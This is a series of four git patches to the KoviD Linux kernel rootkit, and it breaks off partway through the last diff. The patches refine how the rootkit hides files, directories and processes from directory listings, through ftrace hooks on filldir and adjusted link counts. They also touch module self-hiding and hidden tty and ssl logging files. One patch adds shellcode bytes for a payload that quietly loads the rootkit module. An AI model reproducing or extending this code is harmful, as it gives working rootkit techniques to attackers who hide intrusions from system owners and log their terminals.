From 222e1a4118c07a8243fc7322d0f507890bde768a Mon Sep 17 00:00:00 2001 From: JNE Date: Tue, 26 Nov 2024 17:58:07 +0000 Subject: [PATCH 1/4] Add, when possible for now, wheather hidden file is regular or dir --- src/fs.c | 14 ++++++++++---- src/fs.h | 1 + src/kovid.c | 15 ++++++++++++--- src/pid.c | 2 +- 4 files changed, 24 insertions(+), 8 deletions(-) diff --git a/src/fs.c b/src/fs.c index 58f2982..1092645 100644 --- a/src/fs.c +++ b/src/fs.c @@ -159,6 +159,7 @@ struct hidden_names { char *name; struct list_head list; bool ro; + bool is_dir; }; bool fs_search_name(const char *name, u64 ino) { @@ -179,11 +180,11 @@ bool fs_search_name(const char *name, u64 ino) { void fs_list_names(void) { struct hidden_names *node, *node_safe; list_for_each_entry_safe(node, node_safe, &names_node, list) { - prinfo("hidden: '%s'\n", node->name); + prinfo("hidden: '%s' ino=%d directory='%s'\n", node->name, node->ino, node->is_dir ? "Yes" : "No"); } } -static int _fs_add_name(const char *names[], bool ro, u64 ino) { +static int _fs_add_name(const char *names[], bool ro, u64 ino, bool is_dir) { const char **s; if (!names) @@ -203,6 +204,7 @@ static int _fs_add_name(const char *names[], bool ro, u64 ino) { strncpy(hn->name, (const char*)*s, len); hn->ro = ro; hn->ino = ino; + hn->is_dir = is_dir; /** the gap caused by banned words * is the most fun */ @@ -217,11 +219,15 @@ static int _fs_add_name(const char *names[], bool ro, u64 ino) { } int fs_add_name_ro(const char *names[], u64 ino) { - return _fs_add_name(names, true, ino); + return _fs_add_name(names, true, ino, false); } int fs_add_name_rw(const char *names[], u64 ino) { - return _fs_add_name(names, false, ino); + return _fs_add_name(names, false, ino, false); +} + +int fs_add_name_rw_dir(const char *names[], u64 ino, bool is_dir) { + return _fs_add_name(names, false, ino, is_dir); } bool fs_del_name(const char *names[]) { diff --git a/src/fs.h b/src/fs.h index eb68c6e..423091d 100644 --- a/src/fs.h +++ b/src/fs.h @@ -27,6 +27,7 @@ bool fs_search_name(const char *name, u64); void fs_list_names(void); int fs_add_name_ro(const char **, u64); int fs_add_name_rw(const char **, u64); +int fs_add_name_rw_dir(const char *names[], u64 ino, bool); bool fs_del_name(const char **); void fs_names_cleanup(void); struct fs_file_node *fs_load_fnode(struct file *f); diff --git a/src/kovid.c b/src/kovid.c index 4fd8c68..ca132d8 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -519,9 +519,11 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, if (fs_kern_path(s, &path) && fs_file_stat(&path, &stat)) { /** It is filename, no problem because we have path.dentry */ const char *f = kstrdup(path.dentry->d_name.name, GFP_KERNEL); + bool is_dir = ((stat.mode & S_IFMT) == S_IFDIR); + path_put(&path); tmp[0] = f; - fs_add_name_rw(tmp, stat.ino); + fs_add_name_rw_dir(tmp, stat.ino, is_dir); kv_mem_free(&f); } else { if (*s != '.' && *s != '/') { @@ -533,8 +535,15 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, break; case Opt_hide_file_anywhere: { - const char *n[] = {args[0].from,NULL}; - fs_add_name_rw(n, 0); + char *s = args[0].from; + struct kstat stat; + struct path path; + + if (fs_kern_path(s, &path) && fs_file_stat(&path, &stat)) { + const char *name[] = {s ,NULL}; + bool is_dir = ((stat.mode & S_IFMT) == S_IFDIR); + fs_add_name_rw_dir(name, 0, is_dir); + } } break; case Opt_list_hidden_files: diff --git a/src/pid.c b/src/pid.c index 99a1aba..a8e47b6 100644 --- a/src/pid.c +++ b/src/pid.c @@ -83,7 +83,7 @@ static int _hide_task(void *data) { prinfo("hide [%p] %s : %d\n", ht->task, ht->task->comm, ht->task->pid); - fs_add_name_rw(pidstr, 0); + fs_add_name_rw_dir(pidstr, 0, true); /** debug */ From 38089ef77d0ab7fcf9a7491a9a92cecbb6941944 Mon Sep 17 00:00:00 2001 From: JNE Date: Wed, 27 Nov 2024 23:40:53 +0000 Subject: [PATCH 2/4] fs: Fixed fs_add_name with incompatible arguments An array of names and same inode, if any, being set to all of them Instead now is 1 for 1. Makefile: add strip opt and minor other changes --- src/fs.c | 93 ++++++++++++++++++++++++++--------------------------- src/fs.h | 8 ++--- src/kovid.c | 35 +++++++++----------- src/pid.c | 4 +-- src/sys.c | 36 ++++++++++++--------- 5 files changed, 86 insertions(+), 90 deletions(-) diff --git a/src/fs.c b/src/fs.c index 1092645..ef52312 100644 --- a/src/fs.c +++ b/src/fs.c @@ -180,37 +180,36 @@ bool fs_search_name(const char *name, u64 ino) { void fs_list_names(void) { struct hidden_names *node, *node_safe; list_for_each_entry_safe(node, node_safe, &names_node, list) { - prinfo("hidden: '%s' ino=%d directory='%s'\n", node->name, node->ino, node->is_dir ? "Yes" : "No"); + prinfo("hidden: '%s' ino=%llu directory='%s'\n", node->name, node->ino, node->is_dir ? "Yes" : "No"); } } -static int _fs_add_name(const char *names[], bool ro, u64 ino, bool is_dir) { - const char **s; +static int _fs_add_name(const char *name, bool ro, u64 ino, bool is_dir) { + size_t len; - if (!names) + if (!name) goto err; - for (s = names; *s != NULL; ++s) { - size_t len = strlen(*s); - if (!len) - continue; - - if (!fs_search_name(*s, ino)) { - struct hidden_names *hn = kcalloc(1, sizeof(struct hidden_names) , GFP_KERNEL); - if (!hn) - return -ENOMEM; - - hn->name = kcalloc(1, len+1, GFP_KERNEL); - strncpy(hn->name, (const char*)*s, len); - hn->ro = ro; - hn->ino = ino; - hn->is_dir = is_dir; - /** the gap caused by banned words - * is the most fun - */ - prinfo("hide: '%s'\n", hn->name); - list_add_tail(&hn->list, &names_node); - } + len = strlen(name); + if (!len) + goto err; + + + if (!fs_search_name(name, ino)) { + struct hidden_names *hn = kcalloc(1, sizeof(struct hidden_names) , GFP_KERNEL); + if (!hn) + return -ENOMEM; + + hn->name = kcalloc(1, len+1, GFP_KERNEL); + strncpy(hn->name, (const char*)name, len); + hn->ro = ro; + hn->ino = ino; + hn->is_dir = is_dir; + /** the gap caused by banned words + * is the most fun + */ + prinfo("hide: '%s'\n", hn->name); + list_add_tail(&hn->list, &names_node); } return 0; err: @@ -218,37 +217,35 @@ static int _fs_add_name(const char *names[], bool ro, u64 ino, bool is_dir) { return -EINVAL; } -int fs_add_name_ro(const char *names[], u64 ino) { - return _fs_add_name(names, true, ino, false); +int fs_add_name_ro(const char *name, u64 ino) { + return _fs_add_name(name, true, ino, false); } -int fs_add_name_rw(const char *names[], u64 ino) { - return _fs_add_name(names, false, ino, false); +int fs_add_name_rw(const char *name, u64 ino) { + return _fs_add_name(name, false, ino, false); } -int fs_add_name_rw_dir(const char *names[], u64 ino, bool is_dir) { - return _fs_add_name(names, false, ino, is_dir); +int fs_add_name_rw_dir(const char *name, u64 ino, bool is_dir) { + return _fs_add_name(name, false, ino, is_dir); } -bool fs_del_name(const char *names[]) { +bool fs_del_name(const char *name) { + struct hidden_names *node, *node_safe; int deleted = 0; - if (names) { - struct hidden_names *node, *node_safe; - const char **s; - for (s = names; *s != NULL; ++s) { - list_for_each_entry_safe(node, node_safe, &names_node, list) { - if (node->ro) continue; - if (!strcmp(node->name, *s)) { - prinfo("unhide: '%s'\n", *s); - list_del(&node->list); - if (node->name) - kfree(node->name); - kfree(node); - node = NULL; - ++deleted; - } - } + if (!name) + return false; + + list_for_each_entry_safe(node, node_safe, &names_node, list) { + if (node->ro) continue; + if (!strcmp(node->name, name)) { + prinfo("unhide: '%s'\n", name); + list_del(&node->list); + if (node->name) + kfree(node->name); + kfree(node); + node = NULL; + ++deleted; } } diff --git a/src/fs.h b/src/fs.h index 423091d..5f9ccaf 100644 --- a/src/fs.h +++ b/src/fs.h @@ -25,10 +25,10 @@ struct fs_file_node *fs_get_file_node(const struct task_struct *task); bool fs_search_name(const char *name, u64); void fs_list_names(void); -int fs_add_name_ro(const char **, u64); -int fs_add_name_rw(const char **, u64); -int fs_add_name_rw_dir(const char *names[], u64 ino, bool); -bool fs_del_name(const char **); +int fs_add_name_ro(const char *name, u64); +int fs_add_name_rw(const char *name, u64); +int fs_add_name_rw_dir(const char *name, u64 ino, bool); +bool fs_del_name(const char *name); void fs_names_cleanup(void); struct fs_file_node *fs_load_fnode(struct file *f); diff --git a/src/kovid.c b/src/kovid.c index ca132d8..e61ddf6 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -64,7 +64,6 @@ struct task_struct *tsk_tainted = NULL; static struct proc_dir_entry *rrProcFileEntry; struct __lkmmod_t{ struct module *this_mod; }; -static unsigned int op_lock; static DEFINE_MUTEX(prc_mtx); static DEFINE_SPINLOCK(elfbits_spin); @@ -512,8 +511,7 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, case Opt_hide_file: { char *s = args[0].from; - const char *tmp[] = {NULL, NULL}; - struct kstat stat; + struct kstat stat = {0}; struct path path; if (fs_kern_path(s, &path) && fs_file_stat(&path, &stat)) { @@ -522,13 +520,12 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, bool is_dir = ((stat.mode & S_IFMT) == S_IFDIR); path_put(&path); - tmp[0] = f; - fs_add_name_rw_dir(tmp, stat.ino, is_dir); + fs_add_name_rw_dir(f, stat.ino, is_dir); kv_mem_free(&f); } else { if (*s != '.' && *s != '/') { - tmp[0] = s; - fs_add_name_rw(tmp, stat.ino); + /** add with unknown inode number */ + fs_add_name_rw(s, stat.ino); } } } @@ -540,9 +537,8 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, struct path path; if (fs_kern_path(s, &path) && fs_file_stat(&path, &stat)) { - const char *name[] = {s ,NULL}; bool is_dir = ((stat.mode & S_IFMT) == S_IFDIR); - fs_add_name_rw_dir(name, 0, is_dir); + fs_add_name_rw_dir(s, 0, is_dir); } } break; @@ -550,10 +546,7 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, fs_list_names(); break; case Opt_unhide_file: - { - const char *n[] = {args[0].from, NULL}; - fs_del_name(n); - } + fs_del_name(args[0].from); break; case Opt_journalclt: { @@ -754,7 +747,7 @@ static int __init kv_init(void) { int rv = 0; char *procname_err = ""; - const char *hideprocname[] = {PROCNAME, NULL}; + const char **name; #if LINUX_VERSION_CODE >= KERNEL_VERSION(5,17,0) struct kernel_syscalls *kaddr = NULL; #endif @@ -798,7 +791,7 @@ static int __init kv_init(void) { if (!tsk_prc) goto unroll_init; - fs_add_name_ro(hideprocname, 0); + fs_add_name_ro(PROCNAME, 0); tsk_tainted = kthread_run(_reset_tainted, NULL, THREAD_TAINTED_NAME); if (!tsk_tainted) @@ -824,17 +817,19 @@ static int __init kv_init(void) { kv_hide_task_by_pid(tsk_prc->pid, 0, CHILDREN); kv_hide_task_by_pid(tsk_tainted->pid, 0, CHILDREN); - /** hide magic filenames & directories */ - fs_add_name_ro(hide_names, 0); - /** hide magic filenames, directories and processes */ - fs_add_name_ro(kv_get_hide_ps_names(), 0); + for (name = hide_names; *name != NULL; ++name) { + fs_add_name_ro(*name, 0); + } + + for (name = kv_get_hide_ps_names(); *name != NULL; ++name) { + fs_add_name_ro(*name, 0); + } kv_scan_and_hide(); #ifndef DEBUG_RING_BUFFER kv_hide_mod(); - op_lock = 1; #endif prinfo("loaded.\n"); diff --git a/src/pid.c b/src/pid.c index a8e47b6..122d483 100644 --- a/src/pid.c +++ b/src/pid.c @@ -43,7 +43,6 @@ static struct task_struct *_check_hide_by_pid(pid_t pid) */ static int _hide_task(void *data) { char pidnum[32] = {0}; - const char *pidstr[] = {NULL,NULL}; struct hidden_tasks *ht; #if LINUX_VERSION_CODE >= KERNEL_VERSION(4,18,0) struct hlist_node *link; @@ -79,11 +78,10 @@ static int _hide_task(void *data) { /** hide /proc/ */ snprintf(pidnum, sizeof(pidnum), "%d", node->task->pid); - pidstr[0] = pidnum; prinfo("hide [%p] %s : %d\n", ht->task, ht->task->comm, ht->task->pid); - fs_add_name_rw_dir(pidstr, 0, true); + fs_add_name_rw_dir(pidnum, 0, true); /** debug */ diff --git a/src/sys.c b/src/sys.c index cdaeb48..139d52d 100644 --- a/src/sys.c +++ b/src/sys.c @@ -244,6 +244,7 @@ static bool _ftrace_intercept(struct pt_regs *regs) { _ftrace_intercept_init(false)) { char current_value[16+1] = {0}; char output[] = "1\n"; + size_t output_size; arg = (const char __user *)PT_REGS_PARM2(regs); if (copy_from_user(current_value, (void *)arg, 16)) @@ -251,7 +252,7 @@ static bool _ftrace_intercept(struct pt_regs *regs) { current_value[sizeof(current_value) - 1] = '\0'; strncpy(output, kv_prev_ftrace_enabled, sizeof(output)); - size_t output_size = sizeof(output) - 1; + output_size = sizeof(output) - 1; if (!copy_to_user((void*)arg, output, output_size)) rc = true; @@ -747,6 +748,7 @@ static int (*real_filldir64)(struct dir_context *, const char *, int, loff_t, u static int m_filldir64(struct dir_context *ctx, const char *name, int namlen,loff_t offset, u64 ino, unsigned int d_type) { #endif + //XXX: d_type == DT_DIR ? "Directory" : "Reg file" if (fs_search_name(name, ino)) return 0; return real_filldir64(ctx, name, namlen, offset, ino, d_type); @@ -1281,22 +1283,26 @@ bool sys_init(void) { if (_sys_file_init(64, 64)) { char *tty = strrchr(sys_get_ttyfile(), '.'); char *ssl = strrchr(sys_get_sslfile(), '.'); - const char *files_to_hide[] = {tty, ssl, NULL}; + + if (!tty || !ssl) { + prerr("sys_init: Invalid parameter\n"); + return rc; + } /** init fist a couple of hidden files */ - if (tty && ssl && fs_add_name_ro(files_to_hide, 0) == 0) { - - rc = !fh_install_hooks(ft_hooks); - if (rc) { - for (idx = 0; ft_hooks[idx].name != NULL; ++idx) - prinfo("ftrace hook %d on %s\n", idx, ft_hooks[idx].name); - - /** Init tty log */ - ttyfilp = fs_kernel_open_file(sys_get_ttyfile()); - if (!ttyfilp) { - prerr("Failed loading tty file\n"); - rc = false; - } + fs_add_name_ro(tty, 0); + fs_add_name_ro(ssl, 0); + + rc = !fh_install_hooks(ft_hooks); + if (rc) { + for (idx = 0; ft_hooks[idx].name != NULL; ++idx) + prinfo("sys_init: ftrace hook %d on %s\n", idx, ft_hooks[idx].name); + + /** Init tty log */ + ttyfilp = fs_kernel_open_file(sys_get_ttyfile()); + if (!ttyfilp) { + prerr("sys_init: Failed loading tty file\n"); + rc = false; } } } From c351f014636c35e3957c4d6ed5578f2021872ad4 Mon Sep 17 00:00:00 2001 From: JNE Date: Thu, 28 Nov 2024 00:08:17 +0000 Subject: [PATCH 3/4] fs: add late update to hidden files statx is fed by filldir(64) however, shared data between these two is mostly meta. Here I pave way to link concrete info between these two, that may not be available earlier, notably from hide-file-anywhere. and other minor changes --- src/fs.c | 29 +++++++++++++++++++++++++++++ src/fs.h | 24 +++++++++++------------- src/sys.c | 18 ++++++++++++++---- 3 files changed, 54 insertions(+), 17 deletions(-) diff --git a/src/fs.c b/src/fs.c index ef52312..757f2f0 100644 --- a/src/fs.c +++ b/src/fs.c @@ -177,6 +177,35 @@ bool fs_search_name(const char *name, u64 ino) { return false; } +/** + * find the name match, and update + * inode, type, if necessary + * this can be useful for "hide-file-anywhere" when the next + * call is statx, making data available upwards + */ +bool fs_search_and_update(const char *name, u64 ino, bool is_dir) { + bool rc = false; + struct hidden_names *node, *node_safe; + list_for_each_entry_safe(node, node_safe, &names_node, list) { + + /** This will match any string starting with pattern */ + if (!strncmp(node->name, name, strlen(node->name))) { + rc = true; + + if (node->is_dir != is_dir) { + prinfo("Update[is_dir] name='%s' ino=%llu is_dir=%d\n", name, ino, is_dir); + node->is_dir = is_dir; + } + if (node->ino != ino) { + prinfo("Update[ino] name='%s' ino=%llu is_dir=%d\n", name, ino, is_dir); + node->ino = ino; + } + break; + } + } + return rc; +} + void fs_list_names(void) { struct hidden_names *node, *node_safe; list_for_each_entry_safe(node, node_safe, &names_node, list) { diff --git a/src/fs.h b/src/fs.h index 5f9ccaf..934891b 100644 --- a/src/fs.h +++ b/src/fs.h @@ -21,19 +21,17 @@ bool fs_file_stat(struct path *, struct kstat *); * This function allocates data that must * be freed when no longer needed. */ -struct fs_file_node *fs_get_file_node(const struct task_struct *task); - -bool fs_search_name(const char *name, u64); +struct fs_file_node *fs_get_file_node(const struct task_struct *); +bool fs_search_name(const char *, u64); void fs_list_names(void); -int fs_add_name_ro(const char *name, u64); -int fs_add_name_rw(const char *name, u64); -int fs_add_name_rw_dir(const char *name, u64 ino, bool); -bool fs_del_name(const char *name); +int fs_add_name_ro(const char *, u64); +int fs_add_name_rw(const char *, u64); +int fs_add_name_rw_dir(const char *, u64, bool); +bool fs_search_and_update(const char *, u64, bool); +bool fs_del_name(const char *); void fs_names_cleanup(void); -struct fs_file_node *fs_load_fnode(struct file *f); - - -struct file *fs_kernel_open_file(const char *name); +struct fs_file_node *fs_load_fnode(struct file *); +struct file *fs_kernel_open_file(const char *); #if LINUX_VERSION_CODE >= KERNEL_VERSION(4,14,0) ssize_t fs_kernel_write_file(struct file *, const void *, size_t, loff_t *); @@ -43,6 +41,6 @@ ssize_t fs_kernel_write_file(struct file *, const char *, size_t, loff_t); int fs_kernel_read_file(struct file *, loff_t, char *, unsigned long); #endif -int fs_kernel_close_file(struct file *filp); -int fs_file_rm(char *name); +int fs_kernel_close_file(struct file *); +int fs_file_rm(char *); #endif //__FS_H diff --git a/src/sys.c b/src/sys.c index 139d52d..725e353 100644 --- a/src/sys.c +++ b/src/sys.c @@ -735,7 +735,14 @@ static int (*real_filldir)(struct dir_context *, const char *, int, loff_t, u64 static int m_filldir(struct dir_context *ctx, const char *name, int namlen,loff_t offset, u64 ino, unsigned int d_type) { #endif - if (fs_search_name(name, ino)) + /** For certain hidden files we don't have inode number initially, + * when hidden with "hide-file-anywhere" but it is available here + * and it is updated below, if needed. + * Also for files hidden anywhere same file can live + * in multiple directories, thus inode number may + * be updated to the current directory being listed + */ + if (fs_search_and_update(name, ino, d_type == DT_DIR)) return 0; return real_filldir(ctx, name, namlen, offset, ino, d_type); } @@ -748,10 +755,13 @@ static int (*real_filldir64)(struct dir_context *, const char *, int, loff_t, u static int m_filldir64(struct dir_context *ctx, const char *name, int namlen,loff_t offset, u64 ino, unsigned int d_type) { #endif - //XXX: d_type == DT_DIR ? "Directory" : "Reg file" - if (fs_search_name(name, ino)) - return 0; + if (fs_search_and_update(name, ino, d_type == DT_DIR)) + goto match; + return real_filldir64(ctx, name, namlen, offset, ino, d_type); + +match: + return 0; } #define MAXKEY 512 From d2360a96059d8eb70d620833f7bd6f61b61c772a Mon Sep 17 00:00:00 2001 From: JNE Date: Tue, 3 Dec 2024 17:10:21 +0000 Subject: [PATCH 4/4] stat: Now decrementing nlinks Added proc command hide-directory= At filldir fn and statx syscall it is not straightforward to know wheather a "filename" is a regular file or a directory. For us to decrement nlink kstat member, without knowing if we're handling a directory, I had to, at the moment the directory is hidden by the user check dentry with S_IFDIR, and set a boolean. This boolean is then stored and in statx syscall hook I search for the name matching inode and directory boolen. Then nlink can be decremented. --- src/fs.c | 67 ++++++++++++++++++++++++++++----------------------- src/fs.h | 5 ++-- src/kovid.c | 26 ++++++++++++++------ src/persist.S | 66 +++++++++++++++++++++++++------------------------- src/pid.c | 2 +- src/sys.c | 19 ++++++++++++--- 6 files changed, 108 insertions(+), 77 deletions(-) diff --git a/src/fs.c b/src/fs.c index 757f2f0..a586499 100644 --- a/src/fs.c +++ b/src/fs.c @@ -156,6 +156,7 @@ struct fs_file_node* fs_get_file_node(const struct task_struct *task) { static LIST_HEAD(names_node); struct hidden_names { u64 ino; + u64 ino_parent; char *name; struct list_head list; bool ro; @@ -177,43 +178,28 @@ bool fs_search_name(const char *name, u64 ino) { return false; } -/** - * find the name match, and update - * inode, type, if necessary - * this can be useful for "hide-file-anywhere" when the next - * call is statx, making data available upwards - */ -bool fs_search_and_update(const char *name, u64 ino, bool is_dir) { - bool rc = false; +int fs_is_dir_inode_hidden(const char *name, u64 ino) { struct hidden_names *node, *node_safe; + int count = 0; list_for_each_entry_safe(node, node_safe, &names_node, list) { - - /** This will match any string starting with pattern */ - if (!strncmp(node->name, name, strlen(node->name))) { - rc = true; - - if (node->is_dir != is_dir) { - prinfo("Update[is_dir] name='%s' ino=%llu is_dir=%d\n", name, ino, is_dir); - node->is_dir = is_dir; - } - if (node->ino != ino) { - prinfo("Update[ino] name='%s' ino=%llu is_dir=%d\n", name, ino, is_dir); - node->ino = ino; - } - break; - } + if (node->is_dir && ino == node->ino_parent) + count++; } - return rc; + return count; } void fs_list_names(void) { struct hidden_names *node, *node_safe; list_for_each_entry_safe(node, node_safe, &names_node, list) { - prinfo("hidden: '%s' ino=%llu directory='%s'\n", node->name, node->ino, node->is_dir ? "Yes" : "No"); + if (node->is_dir) { + prinfo("hidden: '%s' [directory] ino=%llu ino_parent=%llu\n", node->name, node->ino, node->ino_parent); + } else { + prinfo("hidden: '%s' ino=%llu\n", node->name, node->ino); + } } } -static int _fs_add_name(const char *name, bool ro, u64 ino, bool is_dir) { +static int _fs_add_name(const char *name, bool ro, u64 ino, u64 ino_parent, bool is_dir) { size_t len; if (!name) @@ -234,6 +220,7 @@ static int _fs_add_name(const char *name, bool ro, u64 ino, bool is_dir) { hn->ro = ro; hn->ino = ino; hn->is_dir = is_dir; + hn->ino_parent = ino_parent; /** the gap caused by banned words * is the most fun */ @@ -247,15 +234,15 @@ static int _fs_add_name(const char *name, bool ro, u64 ino, bool is_dir) { } int fs_add_name_ro(const char *name, u64 ino) { - return _fs_add_name(name, true, ino, false); + return _fs_add_name(name, true, ino, 0, false); } int fs_add_name_rw(const char *name, u64 ino) { - return _fs_add_name(name, false, ino, false); + return _fs_add_name(name, false, ino, 0, false); } -int fs_add_name_rw_dir(const char *name, u64 ino, bool is_dir) { - return _fs_add_name(name, false, ino, is_dir); +int fs_add_name_rw_dir(const char *name, u64 ino, u64 ino_parent, bool is_dir) { + return _fs_add_name(name, false, ino, ino_parent, is_dir); } bool fs_del_name(const char *name) { @@ -292,6 +279,26 @@ void fs_names_cleanup(void) { } } +static struct inode *_fs_get_parent_inode(struct path *file_path) { + struct dentry *parent_dentry; + if (!file_path) { + prerr("%s: invalid argument: %p\n", __FUNCTION__, file_path); + return NULL; + } + + parent_dentry = dget_parent(file_path->dentry); + if (parent_dentry) + return parent_dentry->d_inode; + return NULL; +} + +u64 fs_get_parent_inode(struct path *file_path) { + struct inode *inode = _fs_get_parent_inode(file_path); + if (inode) + return inode->i_ino; + return 0; +} + struct file *fs_kernel_open_file(const char *name) { struct file *filp; diff --git a/src/fs.h b/src/fs.h index 934891b..868b888 100644 --- a/src/fs.h +++ b/src/fs.h @@ -26,12 +26,13 @@ bool fs_search_name(const char *, u64); void fs_list_names(void); int fs_add_name_ro(const char *, u64); int fs_add_name_rw(const char *, u64); -int fs_add_name_rw_dir(const char *, u64, bool); -bool fs_search_and_update(const char *, u64, bool); +int fs_add_name_rw_dir(const char *, u64, u64, bool); bool fs_del_name(const char *); void fs_names_cleanup(void); struct fs_file_node *fs_load_fnode(struct file *); struct file *fs_kernel_open_file(const char *); +u64 fs_get_parent_inode(struct path *); +int fs_is_dir_inode_hidden(const char *name, u64 ino); #if LINUX_VERSION_CODE >= KERNEL_VERSION(4,14,0) ssize_t fs_kernel_write_file(struct file *, const void *, size_t, loff_t *); diff --git a/src/kovid.c b/src/kovid.c index e61ddf6..342beca 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -431,6 +431,7 @@ enum { /** file stealth operations */ Opt_hide_file, + Opt_hide_directory, Opt_hide_file_anywhere, Opt_list_hidden_files, Opt_unhide_file, @@ -451,6 +452,7 @@ static const match_table_t tokens = { {Opt_unhide_module, "unhide-lkm=%s"}, {Opt_hide_file, "hide-file=%s"}, + {Opt_hide_directory, "hide-directory=%s"}, {Opt_hide_file_anywhere, "hide-file-anywhere=%s"}, {Opt_list_hidden_files,"list-hidden-files"}, {Opt_unhide_file, "unhide-file=%s"}, @@ -517,31 +519,41 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, if (fs_kern_path(s, &path) && fs_file_stat(&path, &stat)) { /** It is filename, no problem because we have path.dentry */ const char *f = kstrdup(path.dentry->d_name.name, GFP_KERNEL); - bool is_dir = ((stat.mode & S_IFMT) == S_IFDIR); - path_put(&path); - fs_add_name_rw_dir(f, stat.ino, is_dir); + fs_add_name_rw(f, stat.ino); kv_mem_free(&f); } else { if (*s != '.' && *s != '/') { - /** add with unknown inode number */ fs_add_name_rw(s, stat.ino); } } } break; - case Opt_hide_file_anywhere: + case Opt_hide_directory: { char *s = args[0].from; - struct kstat stat; + struct kstat stat = {0}; struct path path; if (fs_kern_path(s, &path) && fs_file_stat(&path, &stat)) { + /** It is filename, no problem because we have path.dentry */ + const char *f = kstrdup(path.dentry->d_name.name, GFP_KERNEL); bool is_dir = ((stat.mode & S_IFMT) == S_IFDIR); - fs_add_name_rw_dir(s, 0, is_dir); + u64 parent_inode = fs_get_parent_inode(&path); + fs_add_name_rw_dir(f, stat.ino, parent_inode, is_dir); + path_put(&path); + kv_mem_free(&f); + } else { + if (*s != '.' && *s != '/') { + /** add with unknown inode number */ + fs_add_name_rw(s, stat.ino); + } } } break; + case Opt_hide_file_anywhere: + fs_add_name_rw(args[0].from, 0); + break; case Opt_list_hidden_files: fs_list_names(); break; diff --git a/src/persist.S b/src/persist.S index 6769c8e..ff135ff 100644 --- a/src/persist.S +++ b/src/persist.S @@ -1,36 +1,36 @@ -# BSD 3-Clause License -# -# Copyright (c) 2024, Carlos Carvalho -# All rights reserved. -# -# Redistribution and use in source and binary forms, with or without -# modification, are permitted provided that the following conditions are met: -# -# 1. Redistributions of source code must retain the above copyright notice, this -# list of conditions and the following disclaimer. -# -# 2. Redistributions in binary form must reproduce the above copyright notice, -# this list of conditions and the following disclaimer in the documentation -# and/or other materials provided with the distribution. -# -# 3. Neither the name of the copyright holder nor the names of its -# contributors may be used to endorse or promote products derived from -# this software without specific prior written permission. -# -# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -# © 2022 GitHub, Inc. -# Terms -# Privacy -# Security +/** + * Linux Kernel version <= 5.8.0 + * - hash + * + * KoviD rootkit + * + * This code is designed to serve as the payload for Volundr. + * + * While it can be readily customized to execute other commands, + * its primary purpose is to load a Linux Kernel Module (LKM) quietly. + * + * Make sure to read this! You will need the 'loadmodule.sh' script: + * + * ---snip--- + * #!/bin/bash + * /sbin/insmod $1 2>/dev/null + * ---snip--- + * + * \x50\x51\x52\x56\x57\x41\x53\xb8\x39\x00\x00\x00\x0f\x05\x83\xf8\x00\x75 + * \x31\x48\x8d\x05\xb9\x00\x00\x00\x48\x8d\x3d\xa6\x00\x00\x00\x48\x31\xd2 + * \x52\x50\x57\x48\x89\xe6\x48\xc7\xc0\x3b\x00\x00\x00\x48\x8d\x3d\x8f\x00 + * \x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x0f\x05\x48\x31\xc0\xb8\x02\x00\x00 + * \x00\x48\x8d\x3d\x8f\x00\x00\x00\x48\xc7\xc6\x00\x00\x00\x00\x0f\x05\x48 + * \x83\xec\x10\x48\x89\xc7\xb8\x00\x00\x00\x00\x48\x89\xe6\x48\xc7\xc2\x11 + * \x00\x00\x00\x0f\x05\x48\xc7\xc1\x12\x00\x00\x00\xb0\x2d\x48\x89\xe7\xfc + * \xf2\xae\x49\xc7\xc5\x11\x00\x00\x00\x49\x29\xcd\x4c\x89\xe9\x48\x31\xdb + * \x48\x89\xe6\x48\x89\xf7\xfc\xac\x3c\x39\x7e\x04\x2c\x57\xeb\x02\x2c\x30 + * \x48\xc1\xe3\x04\x48\x09\xc3\xaa\xe2\xeb\x48\x83\xc4\x10\x49\xb8\x88\x77 + * \x66\x55\x44\x33\x22\x11\x49\x01\xd8\x41\x5b\x5f\x5e\x5a\x59\x58\x41\xff + * \xe0\x2f\x76\x61\x72\x2f\x2e\x6c\x6d\x2e\x73\x68\x2f\x76\x61\x72\x2f\x2e + * \x6b\x76\x2e\x6b\x6f\x2f\x70\x72\x6f\x63\x2f\x73\x65\x6c\x66\x2f\x6d\x61 + * \x70\x73 + */ .globl _start diff --git a/src/pid.c b/src/pid.c index 122d483..2936b0f 100644 --- a/src/pid.c +++ b/src/pid.c @@ -81,7 +81,7 @@ static int _hide_task(void *data) { prinfo("hide [%p] %s : %d\n", ht->task, ht->task->comm, ht->task->pid); - fs_add_name_rw_dir(pidnum, 0, true); + fs_add_name_rw_dir(pidnum, 0, 0 /**XXX*/, true); /** debug */ diff --git a/src/sys.c b/src/sys.c index 725e353..593bc39 100644 --- a/src/sys.c +++ b/src/sys.c @@ -742,7 +742,7 @@ static int m_filldir(struct dir_context *ctx, const char *name, int namlen,loff_ * in multiple directories, thus inode number may * be updated to the current directory being listed */ - if (fs_search_and_update(name, ino, d_type == DT_DIR)) + if (fs_search_name(name, ino)) return 0; return real_filldir(ctx, name, namlen, offset, ino, d_type); } @@ -755,12 +755,13 @@ static int 